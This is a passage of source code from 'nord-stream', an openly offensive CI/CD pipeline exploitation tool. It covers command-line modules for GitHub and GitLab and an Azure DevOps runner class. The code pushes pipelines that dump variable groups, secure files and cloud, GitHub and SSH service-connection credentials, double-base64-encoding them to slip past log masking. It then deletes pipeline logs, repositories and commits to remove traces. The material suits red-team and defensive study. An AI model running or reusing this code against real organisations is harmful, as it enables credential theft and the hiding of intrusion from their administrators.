args[\"--clean-logs\"]:\n            gitHubWorkflowRunner.manualCleanLogs()\n        if args[\"--clean-branch-policy\"]:\n            gitHubWorkflowRunner.manualCleanBranchPolicy()\n\n    elif args[\"--list-protections\"]:\n        gitHubWorkflowRunner.writeAccessFilter = True\n        gitHubWorkflowRunner.getRepos(args[\"--repo\"])\n        gitHubWorkflowRunner.checkBranchProtections()\n\n    else:\n        gitHubWorkflowRunner.writeAccessFilter = True\n        gitHubWorkflowRunner.getRepos(args[\"--repo\"])\n        gitHubWorkflowRunner.start()\n"
  },
  {
    "path": "nordstream/commands/gitlab.py",
    "content": "\"\"\"\nCICD pipeline exploitation tool\n\nUsage:\n    nord-stream gitlab [options] --token <pat> (--list-secrets | --list-protections) [--project <project> --group <group> --no-project --no-group --no-instance --write-filter --sleep <seconds>]\n    nord-stream gitlab [options] --token <pat> ( --list-groups | --list-projects | --list-users | --list-runners) [--project <project> --group <group> --write-filter]\n    nord-stream gitlab [options] --token <pat> --yaml <yaml> --project <project> [--project-path <path> --no-clean]\n    nord-stream gitlab [options] --token <pat> --clean-logs [--project <project>]\n    nord-stream gitlab [options] --token <pat> --describe-token\n\nOptions:\n    -h --help                               Show this screen.\n    --version                               Show version.\n    -v, --verbose                           Verbose mode\n    -d, --debug                             Debug mode\n    --output-dir <dir>                      Output directory for logs\n    --url <gitlab_url>                      Gitlab URL [default: https://gitlab.com]\n    --ignore-cert                           Allow insecure server connections\n    --membership                            Limit by projects that the current user is a member of\n\nCommit:\n    --user <user>                           User used to commit\n    --email <email>                         Email address used commit\n    --key-id <id>                           GPG primary key ID to sign commits\n\nargs:\n    --token <pat>                           GitLab personal access token or _gitlab_session cookie\n    --project <project>                     Run on selected project (can be a file / project id)\n    --group <group>                         Run on selected group (can be a file)\n    --list-secrets                          List all secrets.\n    --list-protections                      List branch protection rules.\n    --list-projects                         List all projects.\n    --list-groups                           List all groups.\n    --list-users                            List all users.\n    --list-runners                          List runners through project jobs (unprivileged, but non-exhaustive).\n    --write-filter                          Filter repo where current user has developer access or more.\n    --no-project                            Don't extract project secrets.\n    --no-group                              Don't extract group secrets.\n    --no-instance                           Don't extract instance secrets.\n    -y, --yaml <yaml>                       Run arbitrary job\n    --branch-name <name>                    Use specific branch name for deployment.\n    --clean-logs                            Delete all pipeline logs created by this tool. This operation is done by default but can be manually triggered.\n    --no-clean                              Don't clean pipeline logs (default false)\n    --describe-token                        Display information on the token\n    --sleep <seconds>                       Time to sleep in seconds between each secret request.\n    --project-path <path>                   Local path of the git folder.\n\nExamples:\n    Dump all secrets\n    $ nord-stream gitlab --token \"$TOKEN\" --url https://gitlab.local --list-secrets\n\n    Deploy the custom pipeline on the master branch\n    $ nord-stream gitlab --token \"$TOKEN\" --url https://gitlab.local --yaml exploit.yaml --branch master --project 'group/projectname'\n\nAuthors: @hugow @0hexit\n\"\"\"\n\nfrom docopt import docopt\nfrom nordstream.cicd.gitlab import GitLab\nfrom nordstream.core.gitlab.gitlab import GitLabRunner\nfrom nordstream.utils.log import logger, NordStreamLog\nfrom nordstream.git import Git\n\n\ndef start(argv):\n    args = docopt(__doc__, argv=argv)\n\n    if args[\"--verbose\"]:\n        NordStreamLog.setVerbosity(verbose=1)\n    if args[\"--debug\"]:\n        NordStreamLog.setVerbosity(verbose=2)\n\n    logger.debug(args)\n\n    # check validity of the token\n    if not GitLab.checkToken(args[\"--token\"], args[\"--url\"], (not args[\"--ignore-cert\"])):\n        logger.critical('Invalid token or the token doesn\\'t have the \"api\" scope.')\n\n    # gitlab setup\n    gitlab = GitLab(args[\"--url\"], args[\"--token\"], (not args[\"--ignore-cert\"]))\n    if args[\"--output-dir\"]:\n        gitlab.outputDir = args[\"--output-dir\"] + \"/\"\n    gitLabRunner = GitLabRunner(gitlab)\n\n    if args[\"--key-id\"]:\n        Git.KEY_ID = args[\"--key-id\"]\n    if args[\"--user\"]:\n        Git.USER = args[\"--user\"]\n    if args[\"--email\"]:\n        Git.EMAIL = args[\"--email\"]\n\n    if args[\"--branch-name\"]:\n        gitlab.branchName = args[\"--branch-name\"]\n        logger.info(f'Using branch: \"{gitlab.branchName}\"')\n\n    # config\n    if args[\"--write-filter\"]:\n        gitLabRunner.writeAccessFilter = args[\"--write-filter\"]\n    if args[\"--no-project\"]:\n        gitLabRunner.extractProject = not args[\"--no-project\"]\n    if args[\"--no-group\"]:\n        gitLabRunner.extractGroup = not args[\"--no-group\"]\n    if args[\"--no-instance\"]:\n        gitLabRunner.extractInstance = not args[\"--no-instance\"]\n    if args[\"--no-clean\"]:\n        gitLabRunner.cleanLogs = not args[\"--no-clean\"]\n    if args[\"--yaml\"]:\n        gitLabRunner.yaml = args[\"--yaml\"]\n    if args[\"--sleep\"]:\n        gitLabRunner.sleepTime = args[\"--sleep\"]\n    if args[\"--project-path\"]:\n        gitLabRunner.localPath = args[\"--project-path\"]\n\n    # logic\n    if args[\"--describe-token\"]:\n        gitLabRunner.describeToken()\n\n    elif args[\"--list-projects\"]:\n        gitLabRunner.getProjects(args[\"--project\"], membership=args[\"--membership\"])\n        gitLabRunner.listGitLabProjects()\n\n    elif args[\"--list-protections\"]:\n        gitLabRunner.getProjects(args[\"--project\"], membership=args[\"--membership\"])\n        gitLabRunner.listBranchesProtectionRules()\n\n    elif args[\"--list-groups\"]:\n        gitLabRunner.getGroups(args[\"--group\"])\n        gitLabRunner.listGitLabGroups()\n\n    elif args[\"--list-users\"]:\n        gitLabRunner.listGitLabUsers()\n\n    elif args[\"--list-runners\"]:\n        if gitLabRunner.extractProject:\n            gitLabRunner.getProjects(args[\"--project\"], membership=args[\"--membership\"])\n        if gitLabRunner.extractGroup:\n            gitLabRunner.getGroups(args[\"--group\"])\n\n        gitLabRunner.listGitLabRunners()\n\n    elif args[\"--list-secrets\"]:\n        if gitLabRunner.extractProject:\n            gitLabRunner.getProjects(args[\"--project\"], membership=args[\"--membership\"])\n        if gitLabRunner.extractGroup:\n            gitLabRunner.getGroups(args[\"--group\"])\n\n        gitLabRunner.listGitLabSecrets()\n\n    elif args[\"--clean-logs\"]:\n        gitLabRunner.getProjects(args[\"--project\"], membership=args[\"--membership\"])\n        gitLabRunner.manualCleanLogs()\n\n    else:\n        gitLabRunner.getProjects(args[\"--project\"], strict=True, membership=args[\"--membership\"])\n        gitLabRunner.runPipeline()\n"
  },
  {
    "path": "nordstream/core/devops/devops.py",
    "content": "import base64\nimport logging\nimport subprocess\nimport time\nfrom os import chdir, makedirs\nfrom os.path import exists, realpath\n\nfrom nordstream.git import Git\nfrom nordstream.utils.errors import DevOpsError, GitError, RepoCreationError\nfrom nordstream.utils.helpers import isAllowed\nfrom nordstream.utils.log import logger\nfrom nordstream.yaml.devops import DevOpsPipelineGenerator\n\n\nclass DevOpsRunner:\n    _cicd = None\n    _extractVariableGroups = True\n    _extractSecureFiles = True\n    _extractAzureServiceconnections = True\n    _extractGitHubServiceconnections = True\n    _extractAWSServiceconnections = True\n    _extractSonarServiceconnections = True\n    _extractSSHServiceConnections = True\n    _yaml = None\n    _writeAccessFilter = False\n    _poolName = None\n    _os = \"linux\"\n    _pipelineFilename = \"azure-pipelines.yml\"\n    _output = None\n    _cleanLogs = True\n    _resType = {\"default\": 0, \"doubleb64\": 1, \"github\": 2, \"azurerm\": 3}\n    _pushedCommitsCount = 0\n    _branchAlreadyExists = False\n    _allowedTypes = [\"azurerm\", \"github\", \"aws\", \"sonarqube\", \"ssh\"]\n\n    def __init__(self, cicd):\n        self._cicd = cicd\n        self.__createLogDir()\n\n    @property\n    def extractVariableGroups(self):\n        return self._extractVariableGroups\n\n    @extractVariableGroups.setter\n    def extractVariableGroups(self, value):\n        self._extractVariableGroups = value\n\n    @property\n    def extractSecureFiles(self):\n        return self._extractSecureFiles\n\n    @extractSecureFiles.setter\n    def extractSecureFiles(self, value):\n        self._extractSecureFiles = value\n\n    @property\n    def extractAzureServiceconnections(self):\n        return self._extractAzureServiceconnections\n\n    @extractAzureServiceconnections.setter\n    def extractAzureServiceconnections(self, value):\n        self._extractAzureServiceconnections = value\n\n    @property\n    def extractGitHubServiceconnections(self):\n        return self._extractGitHubServiceconnections\n\n    @extractGitHubServiceconnections.setter\n    def extractGitHubServiceconnections(self, value):\n        self._extractGitHubServiceconnections = value\n\n    @property\n    def extractAWSServiceconnections(self):\n        return self._extractAWSServiceconnections\n\n    @extractAWSServiceconnections.setter\n    def extractAWSServiceconnections(self, value):\n        self._extractAWSServiceconnections = value\n\n    @property\n    def extractSonarerviceconnections(self):\n        return self._extractSonarServiceconnections\n\n    @extractSonarerviceconnections.setter\n    def extractSonarerviceconnections(self, value):\n        self._extractSonarServiceconnections = value\n\n    @property\n    def extractSSHServiceConnections(self):\n        return self._extractSSHServiceConnections\n\n    @extractSSHServiceConnections.setter\n    def extractSSHServiceConnections(self, value):\n        self._extractSSHServiceConnections = value\n\n    @property\n    def output(self):\n        return self._output\n\n    @output.setter\n    def output(self, value):\n        self._output = value\n\n    @property\n    def cleanLogs(self):\n        return self._cleanLogs\n\n    @cleanLogs.setter\n    def cleanLogs(self, value):\n        self._cleanLogs = value\n\n    @property\n    def yaml(self):\n        return self._yaml\n\n    @yaml.setter\n    def yaml(self, value):\n        self._yaml = realpath(value)\n\n    @property\n    def pipelineFilename(self):\n        return self._pipelineFilename\n\n    @pipelineFilename.setter\n    def pipelineFilename(self, value):\n        self._pipelineFilename = value\n\n    @property\n    def writeAccessFilter(self):\n        return self._writeAccessFilter\n\n    @writeAccessFilter.setter\n    def writeAccessFilter(self, value):\n        self._writeAccessFilter = value\n\n    @property\n    def poolName(self):\n        return self._poolName\n\n    @poolName.setter\n    def poolName(self, value):\n        self._poolName = value\n\n    @property\n    def os(self):\n        return self._os\n\n    @os.setter\n    def os(self, value):\n        self._os = value\n\n    def __createLogDir(self):\n        self._cicd.outputDir = realpath(self._cicd.outputDir) + \"/azure_devops\"\n        makedirs(self._cicd.outputDir, exist_ok=True)\n\n    def listDevOpsProjects(self):\n        logger.info(\"Listing all projects:\")\n        for p in self._cicd.projects:\n            name = p.get(\"name\")\n            logger.raw(f\"- {name}\\n\", level=logging.INFO)\n\n    def listDevOpsRepositories(self):\n        logger.info(\"Listing all repositories:\")\n        for p in self._cicd.projects:\n            project_name = p.get(\"name\")\n            for r in self._cicd.listRepositories(project_name):\n                name = r.get(\"name\")\n                logger.raw(f\"- {project_name}/{name}\\n\", level=logging.INFO)\n\n    def listDevOpsUsers(self):\n        logger.info(\"Listing all users:\")\n        for p in self._cicd.listUsers():\n            origin = p.get(\"origin\")\n            displayName = p.get(\"displayName\")\n            mailAddress = p.get(\"mailAddress\")\n            res = f\"- {displayName}\"\n\n            if mailAddress != \"\":\n                res += f\" / {mailAddress}\"\n\n            res += f\" ({origin})\\n\"\n            logger.raw(res, level=logging.INFO)\n\n    def getProjects(self, project):\n        if project:\n            if exists(project):\n                with open(project, \"r\") as file:\n                    for project in file:\n                        self._cicd.addProject(project.strip())\n\n            else:\n                self._cicd.addProject(project)\n        else:\n            self._cicd.listProjects()\n\n        if self._writeAccessFilter:\n            self._cicd.filterWriteProjects()\n\n        if len(self._cicd.projects) == 0:\n            if self._writeAccessFilter:\n                logger.critical(\"No project with write access found.\")\n            else:\n                logger.critical(\"No project found.\")\n\n    def listProjectSecrets(self):\n        logger.info(\"Listing secrets\")\n        for project in self._cicd.projects:\n            projectName = project.get(\"name\")\n            projectId = project.get(\"id\")\n            logger.info(f'\"{projectName}\" secrets')\n            self.__displayProjectVariableGroupsSecrets(projectId)\n            self.__displayProjectSecureFiles(projectId)\n            self.__displayServiceConnections(projectId)\n            logger.empty_line()\n\n    def __displayProjectVariableGroupsSecrets(self, project):\n\n        try:\n            secrets = self._cicd.listProjectVariableGroupsSecrets(project)\n        except DevOpsError as e:\n            logger.error(e)\n\n        else:\n            if len(secrets) != 0:\n                for variableGroup in secrets:\n                    logger.info(f\"Variable group: \\\"{variableGroup.get('name')}\\\"\")\n                    for sec in variableGroup.get(\"variables\"):\n                        logger.raw(f\"\\t- {sec}\\n\", logging.INFO)\n\n    def __displayProjectSecureFiles(self, project):\n\n        try:\n            secureFiles = self._cicd.listProjectSecureFiles(project)\n        except DevOpsError as e:\n            logger.error(e)\n        else:\n            if secureFiles:\n                for sf in secureFiles:\n                    logger.info(f'Secure file: \"{sf[\"name\"]}\"')\n\n    def __displayServiceConnections(self, projectId):\n\n        try:\n            serviceConnections = self._cicd.listServiceConnections(projectId)\n        except DevOpsError as e:\n            logger.error(e)\n        else:\n            if len(serviceConnections) != 0:\n                logger.info(\"Service connections:\")\n                for sc in serviceConnections:\n                    scType = sc.get(\"type\")\n                    scName = sc.get(\"name\")\n                    logger.raw(f\"\\t- {scName} ({scType})\\n\", logging.INFO)\n\n    def __checkSecrets(self, project):\n        projectId = project.get(\"id\")\n        projectName = project.get(\"name\")\n        secrets = 0\n\n        if (\n            self._extractAzureServiceconnections\n            or self._extractGitHubServiceconnections\n            or self._extractAWSServiceconnections\n            or self._extractSonarServiceconnections\n            or self._extractSSHServiceConnections\n        ):\n\n            try:\n                secrets += len(self._cicd.listServiceConnections(projectId))\n            except DevOpsError as e:\n                logger.error(f\"Error while listing service connection: {e}\")\n\n        if self._extractVariableGroups:\n\n            try:\n                secrets += len(self._cicd.listProjectVariableGroupsSecrets(projectId))\n            except DevOpsError as e:\n                logger.error(f\"Error while listing variable groups: {e}\")\n\n        if self._extractSecureFiles:\n\n            try:\n                secrets += len(self._cicd.listProjectSecureFiles(projectId))\n            except DevOpsError as e:\n                logger.error(f\"Error while listing secure files: {e}\")\n\n        if secrets == 0:\n            logger.info(f'No secrets found for project \"{projectName}\" / \"{projectId}\"')\n            return False\n        return True\n\n    def createYaml(self, pipelineType):\n        pipelineGenerator = DevOpsPipelineGenerator()\n        if pipelineType == \"github\":\n            pipelineGenerator.generatePipelineForGitHub(\"#FIXME\", self._poolName, self._os)\n        elif pipelineType == \"azurerm\":\n            pipelineGenerator.generatePipelineForAzureRm(\"#FIXME\", self._poolName, self._os)\n        elif pipelineType == \"aws\":\n            pipelineGenerator.generatePipelineForAWS(\"#FIXME\", self._poolName, self._os)\n        elif pipelineType == \"sonar\":\n            pipelineGenerator.generatePipelineForSonar(\"#FIXME\", self._poolName, self._os)\n        elif pipelineType == \"ssh\":\n            pipelineGenerator.generatePipelineForSSH(\"#FIXME\", self._poolName, self._os)\n        else:\n            pipelineGenerator.generatePipelineForSecretExtraction({\"name\": \"\", \"variables\": \"\"}, self._poolName, self._os)\n\n        logger.success(\"YAML file: \")\n        pipelineGenerator.displayYaml()\n        pipelineGenerator.writeFile(self._output)\n\n    def __extractPipelineOutput(self, projectId, resType=0, resultsFilename=\"secrets.txt\"):\n        with open(\n            f\"{self._cicd.outputDir}/{self._cicd.org}/{projectId}/{self._fileName}\",\n            \"rb\",\n        ) as output:\n            try:\n                if resType == self._resType[\"doubleb64\"]:\n                    pipelineResults = self.__doubleb64(output)\n                elif resType == self._resType[\"github\"]:\n                    pipelineResults = self.__extractGitHubResults(output)\n                elif resType == self._resType[\"azurerm\"]:\n                    pipelineResults = self.__azureRm(output)\n                elif resType == self._resType[\"default\"]:\n                    pipelineResults = output.read()\n                else:\n                    logger.exception(\"Invalid type checkout: _resType\")\n            except:\n                output.seek(0)\n                pipelineResults = output.read()\n\n        logger.success(\"Output:\")\n        logger.raw(pipelineResults, logging.INFO)\n\n        with open(f\"{self._cicd.outputDir}/{self._cicd.org}/{projectId}/{resultsFilename}\", \"ab\") as file:\n            file.write(pipelineResults)\n\n    @staticmethod\n    def __extractGitHubResults(output):\n        decoded = DevOpsRunner.__doubleb64(output)\n        for line in decoded.split(b\"\\n\"):\n            if b\"AUTHORIZATION\" in line:\n                try:\n                    return base64.b64decode(line.split(b\" \")[-1]) + b\"\\n\"\n                except Exception as e:\n                    logger.error(e)\n        return None\n\n    @staticmethod\n    def __doubleb64(output):\n        # well it's working\n        data = output.readlines()[-3].split(b\" \")[1]\n        return base64.b64decode(base64.b64decode(data))\n\n    @staticmethod\n    def __azureRm(output):\n        # well it's working\n        data = output.readlines()[-3].split(b\" \")[1]\n        return base64.b64decode(base64.b64decode(data))\n\n    def __launchPipeline(self, project, pipelineId, pipelineGenerator):\n        logger.verbose(f\"Launching pipeline.\")\n\n        pipelineGenerator.writeFile(f\"./{self._pipelineFilename}\")\n        pushOutput = Git.gitPush(self._cicd.branchName)\n        pushOutput.wait()\n\n        try:\n            if b\"Everything up-to-date\" in pushOutput.communicate()[1].strip():\n                logger.error(\"Error when pushing code: Everything up-to-date\")\n                logger.warning(\n                    \"Your trying to push the same code on an existing branch, modify the yaml file to push it.\"\n                )\n\n            elif pushOutput.returncode != 0:\n                logger.error(\"Error when pushing code:\")\n                logger.raw(pushOutput.communicate()[1], logging.INFO)\n\n            else:\n                self._pushedCommitsCount += 1\n                logger.raw(pushOutput.communicate()[1])\n\n                # manual trigger because otherwise is difficult to get the right runId\n                run = self._cicd.runPipeline(project, pipelineId)\n\n                self.__checkRunErrors(run)\n\n                runId = run.get(\"id\")\n                pipelineStatus = self._cicd.waitPipeline(project, pipelineId, runId)\n\n                if pipelineStatus == \"succeeded\":\n                    logger.success(\"Pipeline has successfully terminated.\")\n                    return runId\n\n                elif pipelineStatus == \"failed\":\n                    self.__displayFailureReasons(project, runId)\n                    return None\n\n        except Exception as e:\n            logger.error(e)\n        finally:\n            pass\n\n    def __displayFailureReasons(self, projectId, runId):\n        logger.error(\"Workflow failure:\")\n        for reason in self._cicd.getFailureReason(projectId, runId):\n            logger.error(f\"{reason}\")\n\n    def __extractVariableGroupsSecrets(self, projectId, pipelineId):\n        logger.verbose(f\"Getting variable groups secrets\")\n\n        try:\n            variableGroups = self._cicd.listProjectVariableGroupsSecrets(projectId)\n        except DevOpsError as e:\n            logger.error(e)\n\n        else:\n            if len(variableGroups) > 0:\n                for variableGroup in variableGroups:\n                    pipelineGenerator = DevOpsPipelineGenerator()\n                    pipelineGenerator.generatePipelineForSecretExtraction(variableGroup, self._poolName, self._os)\n\n                    logger.verbose(\n                        f'Checking (and modifying) pipeline permissions for variable group: \"{variableGroup[\"name\"]}\"'\n                    )\n                    if not self._cicd.authorizePipelineForResourceAccess(\n                        projectId, pipelineId, variableGroup, \"variablegroup\"\n                    ):\n                        continue\n\n                    variableGroupName = variableGroup.get(\"name\")\n\n                    logger.info(f'Extracting secrets for variable group: \"{variableGroupName}\"')\n                    runId = self.__launchPipeline(projectId, pipelineId, pipelineGenerator)\n                    if runId:\n                        self._fileName = self._cicd.downloadPipelineOutput(projectId, runId)\n                        if self._fileName:\n                            self.__extractPipelineOutput(projectId, self._resType[\"doubleb64\"])\n\n                        logger.empty_line()\n\n            else:\n                logger.info(\"No variable groups found\")\n\n    def __extractSecureFiles(self, projectId, pipelineId):\n        logger.verbose(f\"Getting secure files\")\n\n        try:\n            secureFiles = self._cicd.listProjectSecureFiles(projectId)\n        except DevOpsError as e:\n            logger.error(e)\n\n        else:\n            if secureFiles:\n                for secureFile in secureFiles:\n                    pipelineGenerator = DevOpsPipelineGenerator()\n                    pipelineGenerator.generatePipelineForSecureFileExtraction(secureFile[\"name\"], self._poolName)\n\n                    logger.verbose(\n                        f'Checking (and modifying) pipeline permissions for the secure file: \"{secureFile[\"name\"]}\"'\n                    )\n                    if not self._cicd.authorizePipelineForResourceAccess(\n                        projectId, pipelineId, secureFile, \"securefile\"\n                    ):\n                        continue\n\n                    logger.info(f'Extracting secure file: \"{secureFile[\"name\"]}\"')\n                    runId = self.__launchPipeline(projectId, pipelineId, pipelineGenerator)\n                    if runId:\n                        self._fileName = self._cicd.downloadPipelineOutput(projectId, runId)\n                        if self._fileName:\n                            date = time.strftime(\"%Y-%m-%d_%H-%M-%S\")\n                            safeSecureFilename = \"\".join(\n                                [c for c in secureFile[\"name\"] if c.isalpha() or c.isdigit() or c in (\" \", \".\")]\n                            ).strip()\n                            self.__extractPipelineOutput(\n                                projectId,\n                                self._resType[\"doubleb64\"],\n                                f\"pipeline_{date}_secure_file_{safeSecureFilename}\",\n                            )\n\n                        logger.empty_line()\n            else:\n                logger.info(\"No secure files found\")\n\n    def __extractGitHubSecrets(self, projectId, pipelineId, sc):\n        endpoint = sc.get(\"name\")\n\n        pipelineGenerator = DevOpsPipelineGenerator()\n        pipelineGenerator.generatePipelineForGitHub(endpoint, self._poolName, self._os)\n\n        logger.info(f'Extracting secrets for GitHub: \"{endpoint}\"')\n        runId = self.__launchPipeline(projectId, pipelineId, pipelineGenerator)\n        if runId:\n            self._fileName = self._cicd.downloadPipelineOutput(projectId, runId)\n            if self._fileName:\n                self.__extractPipelineOutput(projectId, self._resType[\"github\"])\n\n        logger.empty_line()\n\n    def __extractAzureRMSecrets(self, projectId, pipelineId, sc):\n\n        scheme = sc.get(\"authorization\").get(\"scheme\").lower()\n        if scheme == \"serviceprincipal\":\n            name = sc.get(\"name\")\n            pipelineGenerator = DevOpsPipelineGenerator()\n            pipelineGenerator.generatePipelineForAzureRm(name, self._poolName, self._os)\n\n            logger.info(f'Extracting secrets for AzureRM: \"{name}\"')\n            runId = self.__launchPipeline(projectId, pipelineId, pipelineGenerator)\n            if runId:\n                self._fileName = self._cicd.downloadPipelineOutput(projectId, runId)\n                if self._fileName:\n                    self.__extractPipelineOutput(projectId, self._resType[\"azurerm\"])\n\n                logger.empty_line()\n        else:\n            logger.error(f\"Unsupported scheme: {scheme}\")\n\n    def __extractAWSSecrets(self, projectId, pipelineId, sc):\n\n        scheme = sc.get(\"authorization\").get(\"scheme\").lower()\n        if scheme == \"usernamepassword\":\n\n            name = sc.get(\"name\")\n\n            pipelineGenerator = DevOpsPipelineGenerator()\n            pipelineGenerator.generatePipelineForAWS(name, self._poolName, self._os)\n\n            logger.info(f'Extracting secrets for AWS: \"{name}\"')\n            runId = self.__launchPipeline(projectId, pipelineId, pipelineGenerator)\n            if runId:\n                self._fileName = self._cicd.downloadPipelineOutput(projectId, runId)\n                if self._fileName:\n                    self.__extractPipelineOutput(projectId, self._resType[\"doubleb64\"])\n\n                logger.empty_line()\n        else:\n            logger.error(f\"Unsupported scheme: {scheme}\")\n\n    def __extractSonarSecrets(self, projectId, pipelineId, sc):\n        endpoint = sc.get(\"name\")\n\n        pipelineGenerator = DevOpsPipelineGenerator()\n        pipelineGenerator.generatePipelineForSonar(endpoint, self._poolName, self._os)\n\n        logger.info(f'Extracting secrets for Sonar: \"{endpoint}\"')\n        runId = self.__launchPipeline(projectId, pipelineId, pipelineGenerator)\n        if runId:\n            self._fileName = self._cicd.downloadPipelineOutput(projectId, runId)\n            if self._fileName:\n                self.__extractPipelineOutput(projectId, self._resType[\"doubleb64\"])\n\n        logger.empty_line()\n\n    def __extractSSHSecrets(self, projectId, pipelineId, sc):\n        endpoint = sc.get(\"name\")\n\n        pipelineGenerator = DevOpsPipelineGenerator()\n        pipelineGenerator.generatePipelineForSSH(endpoint, self._poolName, self._os)\n\n        logger.info(f'Extracting secrets for ssh: \"{endpoint}\"')\n        runId = self.__launchPipeline(projectId, pipelineId, pipelineGenerator)\n        if runId:\n            self._fileName = self._cicd.downloadPipelineOutput(projectId, runId)\n            if self._fileName:\n                self.__extractPipelineOutput(projectId, self._resType[\"doubleb64\"])\n\n        logger.empty_line()\n\n    def __extractServiceConnectionsSecrets(self, projectId, pipelineId):\n\n        try:\n            serviceConnections = self._cicd.listServiceConnections(projectId)\n        except DevOpsError as e:\n            logger.error(e)\n        else:\n            for sc in serviceConnections:\n\n                scType = sc.get(\"type\").lower()\n\n                if scType in self._allowedTypes:\n                    logger.verbose(\n                        f'Checking (and modifying) pipeline permissions for the service connection: \"{sc[\"name\"]}\"'\n                    )\n                    if not self._cicd.authorizePipelineForResourceAccess(projectId, pipelineId, sc, \"endpoint\"):\n                        continue\n\n                    if self._extractAzureServiceconnections and scType == \"azurerm\":\n                        self.__extractAzureRMSecrets(projectId, pipelineId, sc)\n                    elif self._extractGitHubServiceconnections and scType == \"github\":\n                        self.__extractGitHubSecrets(projectId, pipelineId, sc)\n                    elif self._extractAWSServiceconnections and scType == \"aws\":\n                        self.__extractAWSSecrets(projectId, pipelineId, sc)\n                    elif self._extractSonarServiceconnections and scType == \"sonarqube\":\n                        self.__extractSonarSecrets(projectId, pipelineId, sc)\n                    elif self._extractSSHServiceConnections and scType == \"ssh\":\n                        self.__extractSSHSecrets(projectId, pipelineId, sc)\n\n    def manualCleanLogs(self):\n        logger.info(\"Deleting logs\")\n        for project in self._cicd.projects:\n            projectId = project.get(\"id\")\n            logger.info(f\"Cleaning logs for project: {projectId}\")\n            self._cicd.cleanAllLogs(projectId)\n\n    def __runSecretsExtractionPipeline(self, projectId, pipelineId):\n        if self._extractVariableGroups:\n            self.__extractVariableGroupsSecrets(projectId, pipelineId)\n\n        if self._extractSecureFiles:\n            self.__extractSecureFiles(projectId, pipelineId)\n\n        if (\n            self._extractAzureServiceconnections\n            or self._extractGitHubServiceconnections\n            or self._extractAWSServiceconnections\n            or self._extractSonarServiceconnections\n            or self._extractSSHServiceConnections\n        ):\n            self.__extractServiceConnectionsSecrets(projectId, pipelineId)\n\n    def __pushEmptyFile(self):\n        Git.gitCreateDummyFile(\"README.md\")\n        diffOutput = Git.gitDiffFile(\"README.md\")\n        stdout, stderr = diffOutput.communicate()\n        if stdout == b\"\":\n            logger.verbose(f\"README.md file not modified.\")\n        else:\n            logger.verbose(f\"README.md file is modified, incrementing commit count.\")\n            self._pushedCommitsCount += 1\n\n        pushOutput = Git.gitPush(self._cicd.branchName)\n        pushOutput.wait()\n\n        try:\n            if pushOutput.returncode != 0:\n                logger.error(\"Error when pushing code:\")\n                logger.raw(pushOutput.communicate()[1], logging.INFO)\n            else:\n                logger.raw(pushOutput.communicate()[1])\n\n        except Exception as e:\n            logger.exception(e)\n\n    def __createRemoteRepo(self, projectId):\n        repo = self._cicd.createGit(projectId)\n        if repo.get(\"id\"):\n            repoId = repo.get(\"id\")\n            logger.info(f'New remote repository created: \"{self._cicd.repoName}\" / \"{repoId}\"')\n            return repo\n        else:\n            return None\n\n    def __getRemoteRepo(self, projectId):\n        for repo in self._cicd.listRepositories(projectId):\n            if self._cicd.repoName == repo.get(\"name\"):\n                return repo, False\n\n        repo = self.__createRemoteRepo(projectId)\n        if repo != None:\n            return repo, True\n\n        raise RepoCreationError(\"No repo found\")\n\n    def __deleteRemoteBranch(self):\n        logger.verbose(\"Deleting remote branch\")\n        deleteOutput = Git.gitDeleteRemote(self._cicd.branchName)\n        deleteOutput.wait()\n\n        if deleteOutput.returncode != 0:\n            logger.error(f\"Error deleting remote branch {self._cicd.branchName}\")\n            logger.raw(deleteOutput.communicate()[1], logging.INFO)\n            return False\n        return True\n\n    def __clean(self, projectId, repoId, deleteRemoteRepo, deleteRemotePipeline):\n        if self._cleanLogs:\n            if deleteRemotePipeline:\n                logger.verbose(\"Deleting remote pipeline.\")\n                self._cicd.deletePipeline(projectId)\n\n        if deleteRemoteRepo:\n            logger.verbose(\"Deleting remote repository.\")\n            self._cicd.deleteGit(projectId, repoId)\n\n        else:\n            if self._pushedCommitsCount > 0:\n\n                if self._cleanLogs:\n                    logger.info(f\"Cleaning logs for project: {projectId}\")\n                    self._cicd.cleanAllLogs(projectId)\n\n                logger.verbose(\"Cleaning commits.\")\n                if self._branchAlreadyExists and self._cicd.branchName != self._cicd.defaultBranchName:\n                    Git.gitUndoLastPushedCommits(self._cicd.branchName, self._pushedCommitsCount)\n                else:\n                    if not self.__deleteRemoteBranch():\n                        logger.info(\"Cleaning remote branch.\")\n                        # rm everything if we can't delete the branch (only leave one file otherwise it will try to rm the branch)\n                        Git.gitCleanRemote(self._cicd.branchName, leaveOneFile=True)\n\n    def __createPipeline(self, projectId, repoId):\n        logger.info(\"Getting pipeline\")\n        self.__pushEmptyFile()\n\n        for pipeline in self._cicd.listPipelines(projectId):\n            if pipeline.get(\"name\") == self._cicd.pipelineName:\n                return pipeline.get(\"id\"), False\n\n        pipelineId = self._cicd.createPipeline(projectId, repoId, f\"{self._pipelineFilename}\")\n        if pipelineId:\n            return pipelineId, True\n        else:\n            raise Exception(\"unable to create a pipeline\")\n\n    def __runCustomPipeline(self, projectId, pipelineId):\n        pipelineGenerator = DevOpsPipelineGenerator()\n        pipelineGenerator.loadFile(self._yaml)\n\n        logger.info(\"Running arbitrary pipeline\")\n        runId = self.__launchPipeline(projectId, pipelineId, pipelineGenerator)\n        if runId:\n            self._fileName = self._cicd.downloadPipelineOutput(projectId, runId)\n            if self._fileName:\n                self.__extractPipelineOutput(projectId)\n\n            logger.empty_line()\n\n    def runPipeline(self):\n        for project in self._cicd.projects:\n            projectId = project.get(\"id\")\n            repoId = None\n            deleteRemoteRepo = False\n            deleteRemotePipeline = False\n\n            # skip if no secrets\n            if not self._yaml:\n                if not self.__checkSecrets(project):\n                    continue\n\n            try:\n                # Create or get first repo of the project\n                repo, deleteRemoteRepo = self.__getRemoteRepo(projectId)\n                repoId = repo.get(\"id\")\n                self._cicd.repoName = repo.get(\"name\")\n                logger.info(f'Getting remote repository: \"{self._cicd.repoName}\" /' f' \"{repoId}\"')\n\n                url = f\"https://foo:{self._cicd.token}@dev.azure.com/{self._cicd.org}/{projectId}/_git/{self._cicd.repoName}\"\n\n                if not Git.gitClone(url):\n                    raise GitError(\"Fail to clone the repository\")\n\n                chdir(self._cicd.repoName)\n\n                self._branchAlreadyExists = Git.gitRemoteBranchExists(self._cicd.branchName)\n                Git.gitInitialization(self._cicd.branchName, branchAlreadyExists=self._branchAlreadyExists)\n\n                pipelineId, deleteRemotePipeline = self.__createPipeline(projectId, repoId)\n\n                if self._yaml:\n                    self.__runCustomPipeline(projectId, pipelineId)\n                else:\n                    self.__runSecretsExtractionPipeline(projectId, 